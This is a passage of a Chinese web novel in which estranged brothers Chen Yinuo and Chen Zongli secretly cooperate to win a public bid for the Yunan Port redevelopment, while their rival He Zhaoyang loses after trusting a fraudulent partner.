作为参与竞标的黑马,一星在港城的根基在众多竞标同行中最不起眼。但由于陈一诺顶着陈家二少爷的身份,以及谈下莫多里收购,他的竞争力不容小觑。 为此,当陈一诺出现在竞标现场,立刻吸引了所有人的目光。 这人回港不到三个月,屡上头条,难得真人现身,媒体才惊觉昔日陈家弃犬,已经大变样。一头利落的黑色卷发,五官精致,双眸灵动带着邪气,鼻梁高挺,一身深蓝色高定西装剪裁合身,显得身材修长挺拔,仿佛偶像剧中的“翩翩贵公子”走到现实。 记者们蜂拥而至,以他为圆心,里三层外三层围得严严实实,问题多到听不清。 “陈生,传闻你报名竞标,是想天峻再次正面较量,是真的吗?” “陈生,大家都觉得你竞标羽南港是又一次挑战陈宗礼,有信心再下一城吗?” “陈生,有人看见你跟贺二少见面频繁,还传你们联手对付天峻,你有什么回应呢?” 所有问题,陈一诺都一笑置之,一路双手揣兜往前走,没有打算停下来接受采访。 王之初挡在他面前,避着记者,尽职说道:“不好意思,无可奉告!”大步流星走入会场。 …… 羽南港主办方为了竞标全程公开、透明,特意把竞标场地设置在容纳上百人的大型报告厅。 所有竞标参与者的方案,都能同步展示,主打一个公平公正,孰优孰劣,一看便知。 陈一诺作为最后报名竞标的公司,位置安排得靠后。 王之初上法院的时间多,来竞标现场还是第一回,多少体会到现场的紧张气氛。陈一诺却很松弛,翘起二郎腿,四处打量着。 他最近通宵熬方案,每天睡不够3小时,竞标前一夜还通宵,脸上却不见一丝疲惫,还神采奕奕的。让同样通宵后,昏昏沉沉的王之初感到不可思议。 忽然,王之初感觉有一道灼热的目光在看他们。 他凑到陈一诺耳边,低声说:“对面那人一直在看我们,你认识?” 陈一诺顺着他的视线朝对面看,视线相触的瞬间,对面的人立刻扬起笑容跟他打招呼。 “一诺,好久不见!” 陈一诺忍着恶心,伸出手跟他虚握一下:“古先生。” 这位古先生,真名古德庆,陈一诺原生家庭的大伯。在他奶奶白凤娇的葬礼上,逼迫当时还叫“古一诺”的侄子交出遗产的人之一。 后来,他被陈家接到港城跟古家人彻底断了联系。来陈家的第二年,古德庆突然出现,打破了陈一诺的宁静。 没想到,他居然也出现在羽南港竞标的现场,陈一诺记得他以前做餐饮生意,怎么也参加房地产项目的竞标了? 古德庆的肥脸上挤出笑容,套近乎:“嘿,叫古先生显得多生疏,我好歹是你大伯。” 陈一诺皮笑肉不笑回应:“我们本来就生疏,没必要装熟。你……竞标?” 现场所有人,对陈一诺都充满好奇。看见古德庆过去打招呼,以为两人认识,都在竖起耳朵偷听,没想到陈一诺没给他一点面子。 古德庆尴尬地收回手,喃喃:“对……我们德龙也是竞标公司之一。” 陈一诺恍然,原来他出国的几年,古德庆在港城不但站稳了脚跟,还开了自己的公司。 他认识的古德庆,是无利不起早的吸血虫,不是十拿九稳的项目,他绝对不会浪费时间陪标。他会出现在这里,只有一种可能:他知道最后两家中标。 那他的合作方是谁? 突然,会场内再度热闹起来,陈一诺抬头往会场入口看,原来是“太子爷”陈宗礼来了。 一身枪驳领高定黑西装的陈宗礼,脸上冷冰冰的,肩宽腿长,一句话不说已经气势骇人。 他被保镖前呼后拥着进入会场,身旁还跟着身穿墨绿色白边连衣裙的陈宗瑜,以及几个项目组的负责人,一时间会议厅内好不热闹。 天峻的座位安排靠前,陈宗礼一行人沉着脸入座,看见古德庆时,眉头一皱,很快又移开。 他的座位在最前,陈一诺的座位在最后。两人之间犹如鸿沟的距离,正好契合外人心中,陈家兄弟水火难容的想象。 陈一诺手搭在椅背上,那双活泛的眼睛不紧不慢地看向他。陈宗礼感受到他的目光,也淡淡回了一个眼神,上斜眼凶狠,对视上就禁不住浑身一激灵。 现场的人,捕捉到两人的对视,立刻发出“嗡嗡嗡”的议论声。 “看到没,刚坐下就眼神挑衅,今天这两兄弟高低要打一架!” “陈一诺就是陪跑的吧,他这点资本敢跟天峻、建盛这种大集团叫板,不知天高地厚!” “听说,他跟建盛贺家二少搭上,打算联手围剿天峻。” “啊?这白眼狼,真替陈老太心寒,胳膊肘往外拐,专坑自家人。” 陈宗礼坐下后不久,贺家浩浩荡荡来了。 大家都以为,建盛由贺朝阳代表入场,没想到建盛的董事长贺朗也来了。 贺朗走在最前,虽然年过60,但身体硬朗保养得当。加上成为首富后,红能养人,地位今非昔比。去哪里都是一片闪光灯。贺朝阳跟在贺朗身后,气场虽然弱了一截,但眉眼里藏不住的得意。 “今天可真热闹,首富也来了?!” “啧啧啧,首富站台,看来贺家很重视啊!这回应该稳了。” “我记得贺董只给贺朝风站过台,这回把羽南港交给贺朝阳,还亲自来站台,贺家要变天了么?” 在众人猜测声中,贺家一行人走到自己的位置,跟天峻坐对面,遥遥相对。 毕竟是长辈,陈宗礼兄妹主动上前跟贺朗握手、问好。 陈宗礼:“贺叔,最近气色不错。” 贺朗面容和蔼,看了眼贺朝阳:“有这个臭小子和朝风帮忙,的确清闲不少。” “老太太最近身体还好?” 陈宗瑜抢着说:“奶奶天天拉着我妈打麻将呢,有空让贺伯母多来老宅玩。” 贺朗对她笑笑:“哎哟,宗瑜又漂亮了,这次竞标你也参与了?” 陈宗瑜摆摆手:“我不够资格,只能在一边看看热闹。” 贺朗顺着说:“巧了,今天我也来看热闹。”他指着陈宗礼和自己儿子,“让他们俩打去。” 和乐融融的几句话,消解了竞标现场针锋相对的紧张感。大家纷纷落座,等待开始。 焦点之外,贺朝阳朝末端的陈一诺投来一个盟友的眼神,目光扫过古德庆时,闪过一瞬晦暗不明,很快又消失。 陈一诺装作没看见,缓缓回了一个微笑,没有流露出丝毫怀疑。 上辈子,羽南港项目是贺朝阳崛起之战,拿下项目后,贺朝阳开始踩着陈家人的血,一步步走向贺家权力中心。 陈一诺之前没参加竞标,并不清楚贺朝阳是怎么拿下羽南港。此时,联想到无利不起早,却出现在竞标现场的古德庆,一切好像都有了头绪。 而接下来每个公司的竞标演讲,更是验证了他的想法。 德龙排在他之前,由德龙的项目总监提案。看见竞标方案的设计师署名,王之初就把头凑到他耳畔,低声道:“这个设计师,我好像在推荐名单里见过。德龙什么来头啊,能挖来这样的资源。” 陈一诺看着笑得合不拢嘴的古德庆,冷笑:“人家背后有金主呗。” 王之初愕然,他偷偷打量着四周,问道:“这种级别的设计师,金主得是天峻或者建盛吧。可是……” 可是,天峻不可能跟古德庆合作,除非…… 他的目光落在浑身松弛的贺朝阳身上:“我有个大胆的想法,你说贺朝阳……” 陈一诺挑眉,淡淡道:“不用猜了,就是你想的那样!” 王之初顿了顿,先因为陈一诺没趁机调侃自己,感到惊讶,接着正视自己的猜测:“真的啊!你的意思是,贺朝阳也跟古德庆合作……同时找了两家合作方。他脚踏两条船啊?” 陈一诺冷笑,心想贺朝阳疑心确实重。他幽幽看向陈宗礼。 “还好我们也有暗度陈仓的对象。” …… 德龙的提案接近尾声,在名设计师的助力下,现场评委给出了目前最高的分数:93分。 功德圆满的项目总监,在现场艳羡的目光中,满脸春风地回到座位。 台上主持人接过麦克风,邀请下一位竞标候选人:一星集团,上台竞标。 陈宗瑜凑到陈宗礼耳边鸣不平:“主办方摆明挑事吧,专门把一星、天峻和建盛三家关注度最高的候选人排到最后。” “为了看三家公司掐起来,真是装都不装了!” “现在还杀出德龙这匹黑马,一诺哥哥后面出场压力得多大啊!” 陈宗瑜并不知道双方在秘密合作。以为,天峻跟陈一诺站在对立阵营,但丝毫不影响她偏心对方。 前有埋伏,后有追兵。陈一诺似乎总能遇到天崩开局。 白手起家创立一星,先后面临破产、资金链断裂危机……好不容易,一星集团熬到一定规模,他还要单枪匹马,去拼去赢。她打从心里心疼陈一诺。 陈宗礼难得开口安慰人:“对你一诺哥哥有点信心。” 陈一诺沉着地走上台,潇洒俊朗的青年企业家自带油腻去除剂。光是站在台上笑一笑,就像开启明星光环,让人挪不开眼,连周遭的空气都被过滤般格外清新。 但商场上,亮眼的颜值是双刃剑,假若没有足够的实力支撑,颜值也只是花架子。特别是在这种“公开处刑”的竞标现场,台下都是在商场浸淫多年的老狐狸,你一开口他们就能判断你的实力。 陈一诺是从A国厮杀回来的,在港城公开场合从未露面。此次提案,相当于他在港城的公开首秀。有等着看他大显神通的,更多的等着看陈家“弃犬”翻车的。 这次竞标,主办方规定60分钟内提案,在百来页的庞大方案面前,任何有经验的提案人都会倒吸一口凉气。 如何讲清重点,如何吸引人往下听,全是功夫。陈一诺却表现得不疾不徐。 “同行们的方案,洋洋洒洒,都希望把羽南港打造成港城下一个CBD。但我提出一个疑问:假若所有高科技企业都聚集羽南港,那现有的港城CBD——金环,该怎么办呢?” “鱼与熊掌不可兼得,但在坐都是成年人,谁都不想做选择,我们哪个都想要!” “因此,我们规划羽南港,就不能只规划羽南港,而是规划整个港城的羽南港。” 开口几句话,视野上,就跟只专注羽南港项目的同行拉开差距。加上贪婪是每个决策者深层需求,他稍微用力一捏就握住现场评委的七寸。 陈一诺用激光笔在大屏幕的港城地图上画圈:“现有CBD——金环,位于港城中心地带,寸土寸金,目前被金融、服务行业垄断多年,已经无法容纳新兴产业的进驻和公共设施的增加,这就是羽南港的机会点。” 激光笔往沿海位置移动:“羽南港位于港城的东北方,是港城重要运输港口,附近货柜码头聚集。随着东南侧码头落成,羽南港的海上运输正式南移,导致港口土地及大批货仓空置。” “同时,羽南港地理位置优越,距离港城大奥机场半小时车程,高铁站20分钟,明年开通18号线,从羽南港到旧城区,20分钟内直达,届时通勤更方便。” “因此,在未来,港城将会拥有,以金环为核心的金融服务CBD,以羽南港为核心的新兴创意CBD。” 陈宗瑜在一旁听得入神,她喃喃:“听说,这是一诺哥哥第一次接房地产项目。” “也太厉害了吧……” 陈宗礼没说话,他知道,这只是头盘,陈一诺的厉害不止这些。 先给一个吸引你看下去的理由,然后在阐述关键问题时,由浅入深;在阐述枯燥问题时,巧用类比,语言诙谐幽默。被问及针对性疑问,辅助数据、相关法例都记得清清楚楚。 不出所料,陈一诺一套组合拳下来,那些想看“弃犬”翻车的人,不但笑不出来,还陆续发出“窸窣”声,有的是叹息,有的直接收拾电脑。 大家默契地共识到:得,又要陪标了。 台上的陈一诺,风姿卓绝,运筹帷幄。 台下的陈宗礼,一双深黑如墨的双眸一眨不眨地看他,心中百转千回—— 作者有话说:陈一诺:承认吧!你也在为我着迷(眨眼,winkwink~[坏笑][坏笑]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 一星集团的方案,在60分钟即将到来之际,不知是故意还是无意,PPT刚好翻到了附件页。亮眼的企业名单一闪而过。 陈一诺那句“一星的方案提报完毕”还没说全,就被主评审打断,问他这个附件页是什么? 观众席上的陈宗礼没忍住低头笑了笑。 陈一诺嘴角勾起,放下翻页器,说道:“在刚才的提案中,我们说到,希望把羽南港打造成港城的新兴创意CBD。具体的规划在过去60分钟里已经诠释过,而高新科技公司的入驻,也是考量羽南港成败的关键。” “为此,在方案筹备期,我们提前收集了部分有意向进驻羽南港的世界500强企业。如果一星中标,我们可以立刻开始沟通入驻的相关事宜。” 这句话说完,PPT上展示的那些星光熠熠的高新科技明星企业。在评委眼里已经不是单纯的文字,而是它们扎根港城后,带来的一笔笔可观财政税收。 项目负责人魏主任压抑着心中激动的情绪,问道:“名单里的资源真实可靠吗?别只是放logo啊。” 旁边的下属应道:“我们已经复核过,名单是可信的。” 陈一诺笑着补充:“zf扶持这块还没谈及,但港城作为国际大都会之一,这些企业对在羽南港设置分部还是相当感兴趣的。” 言下之意,都有入驻有意向,就看zf给什么扶持政策吸引外资了。 陈宗瑜喃喃:“一诺哥哥这个附件漏得有心机啊。你看,项目主负责人魏主任,眼睛都眯成一条缝了。” 陈宗礼没像所有人一样,把注意力落在演讲台上,他目光淡淡地看向贺朝阳。看着他的脸上一阵白一白青,低头笑了。 …… 按照原计划,贺朝阳跟陈一诺说好,各自出方案,陈一诺把心思放在方案本身,Ellen提供的企业合作名单由建盛作为“杀手锏”提交。当时贺朝阳的说法是,他获取现场评委的好评,更有话语权拉一把陈一诺。 殊不知,陈一诺完全没用他提供的设计资源,另辟蹊径想到一个独特的方案。还“不经意”地把底牌露出,抢占了先机。后面的贺朝阳再公布名单,就显得没新意了。而且,陈一诺的这份名单,比Ellen提供的更优质,企业数量也更多。 叠加方案的视野开阔,Buff叠满,眼看就脱颖而出,拿下竞标了。贺朝阳阵脚大乱,不着急才有鬼。 不出所料,一星评分:97分,现场轰动。 太高了,高得让人绝望。 陈一诺从演讲台下来,跟贺朝阳相互对视一瞬,此时,他灿烂的笑容在贺朝阳看来仿佛在纵火。 并非芳心纵火的缱绻缠绵,而是放火烧山的付之一炬。 贺朗看他一眼:“脸色这么难看?出什么问题了?” 贺朝阳在父亲面前不能服软,咽了口口水,硬撑着:“没……没事。” 主持人宣布下一位提案者:建盛集团。 贺朝阳强打精神走上演讲台,他正了正西装,拿起翻页器开始演示。 他的方案陈一诺看过,建盛为了效果更直观,不惜花大价钱做了一个3D模拟视频,按照设计师对羽南港的设计思路。按照实景100%呈现羽南港改造后的情景。 可惜,这些炫酷的视觉效果,好看是好看,但本质上跟前面的提案拉不开差距,概念上也比不上陈一诺打造两个“港城CBD”有大局观。 最后的企业名单也有些东施效颦的意思,建盛60分钟的提案,说得台下评委哈欠连连。 最后,建盛分数:95分,比德龙堪堪高出2分。 贺朝阳看着分数,脸上礼貌的微笑,瞬间消失不见,等他回到座位时,才惊觉贺朗的座位已经空了。 …… 本是没有悬念的竞标,因为一星集团的黑马崛起,以及建盛集团屈居第二,变得耐人寻味。 现在的压力给到最后出场的天峻集团。 天峻要赢一星,首先,得拿出高于97分的实力。否则相当于跟羽南港无缘。 其次,坊间传闻中,无论是身世、能力、地位等,陈宗礼都全方位碾压陈一诺。羽南港的现场竞标,全是凭本事、见真章的时候。有陈一诺珠玉在前的优异表现,常年处于顺风局的陈宗礼,在这等压力下,能赢吗? 现场所有人都屏息期待陈宗礼的表现。 当事人陈宗礼丝毫不受外界情绪干扰,他默默系上西装扣,从容地走上演讲台。 他一手拿着翻页器,一手按着演讲桌一角,一双上斜眼里是藏不住的锐利和自信。他缓满扫视现场所有人。如同一头蓄势待发的狮王,傲视群雄。他仿佛不在参与竞标,而是睥睨天下的王给子民训话。 如果说陈一诺是英俊潇洒,聪明灵利的翩翩贵公子;陈宗礼就是厚重沉稳,自带压迫感的天生王者。 他按着讲桌的手微微调试麦克风,沉稳的声音透过麦克风传来:“各位,我是天峻集团代表陈宗礼,下面带来天峻的提案。” “竞标到现在,已经进入尾声,大家对于羽南港的规划也好,对争取打造港城两个CBD也好,心里早有判断。天骏作为压轴,打算在上述的基础上,再提供一个新角度。” 连续十几小时的会议,大家看了各式各样的方案,本以为已经山穷水尽,没想到天峻还能提出新思路。陈宗礼像控制注意力的魔术师,一句钩子,大家的兴趣又来了。 “借用一星的思路,如果要打造以羽南港为核心的新兴创意CBD。那么我建议,把羽南港项目辐射10公里外……” 屏幕上,再次出现港城地图。 陈宗礼用激光笔圈出一个地块:“羽南港外延10公里,涵盖包括:港城科技大学,港城商业大学等5所高校。近5年来,5大高校输送的技术向人才,苦于没有合适的科技土壤,只能选择到其他科技强市或者国外就业。” “无法留住高端人才,就无法承接科技产业的势能。科技无法突破,高校也没法给学生正向输出前沿经验。从上游到下游都堵塞的恶性循环下,羽南港哪怕有世界500强的大厂进驻,也难以找到合适的人才,我认为这并非长久之计。” “我们天峻,建议打破大学围墙,建立羽南港大学城,一方面储备高精人才输送至羽南港内的高薪产业,实现良性循环。同时,鼓励五大高校进行学术交流,把羽南港闲置地段,打造成创意产业园低价租给大学城学生、教授进行学术研究。” “地基打稳了,羽南港项目才能走得更远。我们的附件恰好也是资源。不过跟前面两家竞标公司不同,天峻提供的,是全国愿意投身到羽南港项目的优秀高校教授名单。” …… 台下,王之初往上托起眼镜,眯眼看着附件教授名单,放眼看去都是国内外顶尖高校背景的教授,其含量一点不输陈一诺给出的企业清单。 他满脸惊讶道:“你跟陈宗礼是提前商量过吗?他方案的思路不但能补充我们方案里人才缺失的问题,这份清单,别说羽南港,对整个港城都是非常稀缺的……这是花了大价钱啊。” 陈一诺没说话,他后背挺直,双手抓皱了西装裤,忍不住喉头滚动,才能勉强把快要从嘴里冒出来的心脏压回去。 他当然想说这是提前商量好的,毕竟,为结果考虑,如果最后中标真如传言所说是两家公司,方案能彼此互补的入选几率更高。 可在方案筹备期间,别说附件清单的摆放,连方案内容也默契地没有透露过一丝一毫。 正因为从未透露,所以,当陈宗礼另辟蹊径地补充了一个新思路,还跟他的方案100%契合时,陈一诺简直爽得头皮发麻。 以前,他视陈宗礼为偶像,他带着自己学好,手把手教他商业理论。港媒说他们是棋逢敌手,一生宿敌,陈一诺从不这么认为。 如今,他跟偶像暗地合作,明面斗法炫技,内里互补托举,这种灵魂上的共振托举是无与伦比的。 天骏的提案时间,在55分钟时提前结束,没有任何拖泥带水。 陈宗礼缓慢下台,在强大舆论以及项目的压力下,他从头到尾表现得云淡风轻。看不出情绪有一丝起伏,他迈步走回座位,徒留评审们交头接耳,低声讨论的时间。 天峻成绩出来的那刻,现场一片惊呼! “卧槽!95分!天峻和建盛居然同分!那就是陈一诺赢了?” “还要选一家!你看评审没有直接宣布,就看最后跑出是天峻还是建盛了!刺激!” “本以为是天峻和建盛双双中标,没想到,陈一诺爆冷跑出,两个大佬极限1v1!太精彩了!” 竞标现场的议论声此起彼伏,看热闹的不嫌事大,嘴上遗憾天峻和建盛平分,心里却是想着:最好他们现场真刀真枪,来场加时赛。 陈一诺看向前排,贺朝阳双手交叉坐着,抿着唇脸色难看。跟“泰山崩于前而色不变”的陈宗礼比起来,心理素质被完全碾压。 怪不得贺朝阳总喜欢背地里玩阴的,知道自己正面刚不过,就搞偷袭。这回玩脱了吧。 他快速打字,给陈宗礼发了一条消息。 输给你爸不丢人:陈宗礼你不行啊,居然跟贺朝阳平分!摇头.jpg 前排的陈宗礼看了眼手机,冷笑了声,气定神闲回消息。 C:着什么急啊,结果还没出。 输给你爸不丢人:那么自信?万一他赢了呢? 陈一诺在逗他,毕竟,陈宗礼从没对任何人示弱,更不会假设这种“万一”的问题。 很快,弹出一条陈宗礼的消息。 C:他赢不了。 …… “现场的各位,请安静……” 台上主持人开麦维持秩序,“接下来,有请地政署总署长罗耀忠先生,宣布羽南港中标名单。” 现场所有人的目光,瞬间集中在评委席中间的罗耀忠身上。 根据陈宗礼透露的信息,羽南港项目启动之初,本打算沿用过去的竞标方式,第一轮比方案,第二轮比价格。可由于去年爆出一起竞标舞弊丑闻,总署长涉嫌收受贿赂落马,外界对地政署内部管理相当不满。 年初,五十岁的新任总署署长罗耀忠走马上任。为了稳固人心,对羽南港项目的竞标非常重视。 作为港城近十年最重大项目,由固有的两轮内部竞标,改成如今的一轮竞标。并且线下参与,当天公布中标名单。 众目睽睽之下,想要徇私舞弊,几乎不可能。但在同分的情况下,他们如何公平公正地选出最后中标名额,所有人都很好奇。 罗署长正了正眼镜,手指轻捏面前的麦克风:“感谢各位参与竞标企业对羽南港项目的大力支持,让我们感知到羽南港的巨大潜力。” “根据今天的竞标,按照目前分数排名,第一名是一星集团,恭喜一星中标。” 现场轰地掌声雷动,台下都在给陈一诺道贺。 台上,罗署长继续念道:“考虑到,羽南港项目时间紧任务重,我们内部商议后,决定增加一个中标名额。” “按照分数,天峻和建盛的成绩持平位居第二名,我们内部在复核方案过程中发现建盛集团提交的入驻企业清单存疑。” “因此,我们最终决定……” “天峻集团中标。” 第32章 “恭喜一星,恭喜天峻!拿下羽南港的竞标!” 宣布中标的瞬间,整个报告厅掌声雷动。 今天之前,谁都没想过,最后拿下羽南港的会是关系最不好的陈家兄弟。 外人眼里,双方在竞标过程中完全零交流,但在竞标方案的细节上却高度契合。难道是兄弟之间的心灵感应? 可大部分人依然保持怀疑态度:这两人能合作吗?合作过程中打起来怎么办? 现场所有人,神色各异,心里全是不同的猜测。 唯独主角:陈家兄弟俩,均是得体的起立鼓掌,对结果没有任何龃龉,仿佛他们互不认识,舆论里的恩怨都是大众一厢情愿的臆想。 当事人之一的陈宗礼接受周遭祝贺时,目光穿过长桌中间的十几号人,最终落到陈一诺身上。 身边的欢呼、掌声,此时都变成电影里的慢动作。大家缓慢地笑着,闹着,只是热闹的虚焦背景,唯一清晰落入他视线里的,只有陈一诺那张挂着狡黠笑容的脸。 陈宗礼从十几岁开始参加大大小小的竞标会,十次竞标中九次,对中标早就麻木了。和别人一起中标也不是头一回。这一切流程都不再新鲜,提不起愉悦。 但这次不同,因为跟他一起中标的是陈一诺,这让他觉得悬浮。 如果一个月前告诉他,不久后的羽南港会跟陈一诺合作,他一定觉得是梦。可如今,梦境出现在现实里。他感觉自己像喝了酒,脚步轻飘飘地,好像踩在棉花糖似的云雾高空中,恍惚又不真实。 …… 有人欢喜有人愁。 在陈宗礼开心到恍惚的同时,脸色难看的贺朝阳走到总署长身边,提出异议:“不好意思,罗署长,你刚刚说,我们入驻企业清单存疑是什么意思?” 罗署长看向旁边的项目负责人魏主任:“魏主任解释一下?” 对方看向贺朝阳,眼里带着一丝尴尬的欲言又止:“我们的审核人员根据你们方案提交的设计方案、各项资源的真实性进行核实查证。” “其中,我们发现贵司的入驻企业清单在审核时存在不少问题,因此,才有这个判决。” 贺朝阳对这个答案显然不接受:“不应该啊,我们的名单跟一星的名单,有七八成是重合的,他的没问题,我的有问题?” 面对质疑,魏主任脸色忽地沉下来,他话里带着警告:“结果就是这么个结果,如果建盛对此有异议,可以向审核人员索要具体的审核记录。” 虽然,来参与竞标的公司,都是港城企业中的翘楚。但项目团队仍然要求各个参与者提前一周提交方案。就是为了确保对所有方案的真实性进行排查,毕竟羽南港牵连甚广,又是只有一轮的公开竞标,为了避免不必要的纠纷,审核也分外严格。 大到方案中设计师合作的真实性:是否真的出自设计师之手,还是拿来主义找人高仿? 小到方案中所有落地资源的真实性:资源是否真实存在,能落实合作?还是挂羊头卖狗肉? 甚至连最后附着的人员架构,他们都要提供几年的薪酬记录,确保员工不是第三方供应商凑的。 而建盛附件的企业名单,没有通过审核。也就是说,那份入驻清单可能是假的。 贺家作为四大家族之一,港城首富家族,出了这样的纰漏,让审核方的立场变得很尴尬。特别在一星和建盛企业名单出现重合的情况下。万一他们审核不到位,容易让人怀疑其中一方贿赂了相关人员。 为了保证公平公正,他们特意三番五次去核实,确保审核结果无误。哪怕最后有竞标者不服,他们也能拿出证据。 可这些细节,在大庭广众下,魏主任不方便多透露,说破了大家面子上绷不住,还让旁边的人看笑话,没必要。 贺朝阳心有不甘,却也明白跟官场人打交道,不能硬碰硬。话说到这个份上,他也不好再追问。 只能无力咬着后牙,心中默默接受没有中标的事实。 脑海里重复着厉冬通风报信的话,他说Ellen有诈骗嫌疑,劝他不要签合同的声音。宛如佛经,念得他头晕脑胀。 …… 竞标结果揭晓,报告厅内的人从沉浸在热闹之中,到慢慢散去不过半小时的事。 很快,诺大的报告厅内,最终只剩下建盛的人。 贺朝阳拿起手机,第N次拨打Ellen的电话,里面依旧只传来一个冰冷女声:“对不起,您拨打的电话已经关机……” “砰——”一声,他把手机直接甩在会议桌上,屏幕瞬间爆裂。 旁边的助理了解贺朝阳的脾气,瑟瑟发抖地劝道:“二少,你冷静点。外面还有记者,万一传出去不好……” 贺朝阳朝助理大吼:“已经传出去了!!” 虽然,竞标现场不让记者进入,但港城狗仔是出了名的无孔不入。买通几个竞标公司的人,把竞标消息实时直播,一点都不难。他闭眼想都知道,今天的头条肯定是陈家两兄弟拿下羽南港! 他一把抢过助理的手机,又拨了一遍Ellen的手机号码,依然是那把冰冷的女声:“对不起,您所拨打的电话已关机……Sorry!Thesubscriberyoudialedispoweroff……” 贺朝阳喊了一个惊天地泣鬼神的“操!”,他额上青筋暴起,原来温文尔雅的绅士外衣被撕破,变身成了浑身杀气的大魔头。 他眯着三白眼看向身后的保镖,严肃命令道:“反转整个港城,把那个外国人给我找出来!!” “我生要见人,死要见尸!”身后的保镖应了声是,转身离开报告厅。 “贺少,发那么大火,小心伤肝啊。” 轻佻的声音从门口传来,陈一诺倚着门框站着,双手揣兜,衬衫顶端的扣子解开,有种慵懒的潇洒,跟演讲时专业外型判若两人。 贺朝阳抬下巴,让助理等人先出去,报告厅内只剩下他和陈一诺。 他冷笑:“陈一诺,挺厉害啊,瞒着我玩无间道。” 陈一诺的方案,他之前看过。跟今天这版完全不同。加上跟天峻方案里多方面的互补,傻子才猜不到他真正合作的,其实是天峻。 陈一诺摆手,毫不留情地戳破:“贺朝阳,咱们就别贼喊捉贼了。” “口口声声跟我合作,不过想利用我散播天峻的负面舆论,影响我们在评委心里的印象。然后让古德庆当备胎,给他头部设计资源做方案,随便给我个二流设计。其实我也能理解,我这大伯毛病一大堆,但有一个优点:特别听金主的话。” “你心里早就想好了吧,他能跟你一起中标最好,他不行,你还能跟天峻平分。” “最重要的是,我得输。这样,我在港媒面前丢了面子,跟陈宗礼关系更差,还顺便报了当年的仇,一箭N雕。您这算盘打得可真响啊。” 贺朝阳不否认自己的心机,他咬牙忍着:“那还不是棋差一着?Ellen……那个外国人,是不是你们专门给我下的套?!” 陈一诺狡黠的眼睛轻佻看着对方面目狰狞的模样,第一次体会到复仇的快感。 “贺朝阳,你没到30就开始老人痴呆了?让我给你回忆回忆,刚开始,Ellen好端端跟陈宗礼聊着,是你非要抢过来的,记得吗?” “后来,你的眼线提醒过你,Ellen有问题,让你小心,我也提醒过你。结果,是你义无反顾地签了合同,记得吗?” “如果所有人都告诉你,这里有个坑,你偏不信,非要往下跳,与其说我们给你下套,不如说你给自己下套。” “贺朝阳,要怪就怪你太自以为是,这一局,你输得该!” 贺朝阳呆站在原地,脑海里快速复盘最近发生的一切,根本不明白自己到底哪里出现纰漏,让陈一诺从一开始就怀疑他。更不明白自己安在陈宗礼身边的棋子,从什么时候开始被发现,被反利用…… 是他轻敌,低估了这对兄弟。 “叮叮——” 贺朝阳手机响起,来电显示:贺董事长贺朗,看见备注,才想起这是助理的手机。 无独有偶,身后一个低沉的声音唤他:“一诺。” 陈一诺转身,看见陈宗礼站在几米外。跟他一副下班的懒散不同,陈宗礼依旧衣着得体,衬衫扣子系到顶,领带也系得板正,精神状态还能连续开几个小时会议。 他那双如墨的眼眸里只有陈一诺,一点眼神都没留给贺朝阳,仿佛当他空气。 “司机来了,走吧。” 陈一诺回头看着满身戾气的贺朝阳,他手里的电话一直在响,指关节因为捏得用力泛着白。想也知道贺朗要骂他什么,比起失去羽南港,贺朗的责骂让他更不想面对。所以迟迟不肯接通。 换做别人,陈一诺还能勉为其难,见好就收,但面对贺朝阳,他是新仇旧恨一起算,骂起人来完全不留余地,哪里疼往哪儿戳。 他下巴微仰,得意道:“我哥来接我,先走了。你跟贺董慢慢汇报工作,不过你被骗几百万,同时又丢了几百亿项目,估计不止被骂那么简单。” “相识一场,给你几点忠告。”他身体前倾,勾起嘴角,像西方童话里的恶童,“第一,被骂的时候不要辩解,只管低头认错,这样还能少受点罪~” “第二,千万别哭哦,越哭被骂越惨~” “第三,也是最重要的一点!不要再打陈家的主意,否则,后果自负!” 陈一诺敛起狰狞的笑容,大功告成似的,举手朝他告别。 “好了今天就到这儿。有~缘~再~见~!” 陈一诺离开的时候,没有转身,他双手背在身后,一步步往后倒出报告厅。 像防着贺朝阳会突然背后偷袭,又像暗示他,接下来,我会一直盯着你。 贺朝阳! 第33章 竞标场外,大批记者聚集在门口,就等着给陈家兄弟做独家专访。 为了避开记者,陈宗礼早早让司机把车开到地政署的停车场,从报告厅到停车场,中间需要经过一条林荫路。 日落的橙色染遍了万物,陈一诺跟陈宗礼并肩走着,背后镀了一层浅金色。 陈一诺不时回头看自己的影子,说道:“哥,我发现你的影子比我长。” 陈宗礼撩起眼皮,也回头看,不以为然:“谁叫你比我矮。178。” 陈一诺争辩:“我180!” 陈宗礼站定,身体忽然往前,他腿长,只迈半步,鼻尖就差点擦过陈一诺的额头,陈宗礼的气息就这么扑面而来。接着,陈一诺的发顶被温暖的掌心压了压。 陈宗礼用手比了比,肯定道:“就是178。” 察觉对方在比身高,陈一诺立刻挣脱他的手,往后退了半步,慌乱地复原被压塌的发顶。为精心准备的2厘米“长高小技巧”被无情识破,而感到窘迫。 他满脸通红,非常不满:“你闭嘴!” 陈宗礼弯着眼睛装起他的愤怒,没再说话,继续往前走。 “哒哒哒——”178的陈一诺几步追到他的身边,肩膀跟他相抵着,说:“你刚刚喊我的时候,我以为自己穿越回了圣保罗。” “恩?”陈宗礼发了个低沉的声音,等着他往下说。 “你忘了?当年我跟贺朝阳打架,要见家长,你跟贺朝风一起被喊过来,被王校教育了一顿。” 陈宗礼又“嗯”了声:“你眼睛受伤那次。” “我眼睛受伤了吗?”陈一诺摸了摸眼睛,太久了记不清。 “总之,我们又像当年那样,站在同一战线上,我真的很开心。” 话说出口,陈一诺就后悔了,他习惯了跟陈宗礼针锋相对,突然变得矫情,还挺臊的。 不等陈宗礼反应,他立刻用转话题转走尴尬。 “话说回来,Ellen是你专门找来骗贺朝阳的吗?” 陈宗礼装作不察觉他生硬的转折,摇摇头:“刚开始,这人是庄嘉轩推荐过来的。聊着聊着,我就察觉这人有问题,后来背调结果出来,果不其然。恰好贺朝阳要挖人,我就顺水推舟了。” 陈一诺打了个响指:“你是吃准了贺朝阳多疑的性格,将计就计,把他藏在你公司的线人给他通风报信。贺朝阳这人阴暗,你越说Ellen是骗子,他越觉得你在骗他。更要下定决心跟Ellen签合同。” “你不但让贺朝阳上当受骗,还能揪出线人,一举两得……” 他打量着陈宗礼,眯着眼打趣道:“陈宗礼,你好坏哦。” 陈宗礼笑了笑,不以为然:“你为了骗贺朝阳,假装我们关系差,还当着陈宗瑜的面吵了一架。她至今都觉得我们水火难容,你才比较坏吧。” 说起这个,陈一诺只能心虚地摸摸鼻子:“那个……线人,叫厉冬的,你最后怎么处理?” 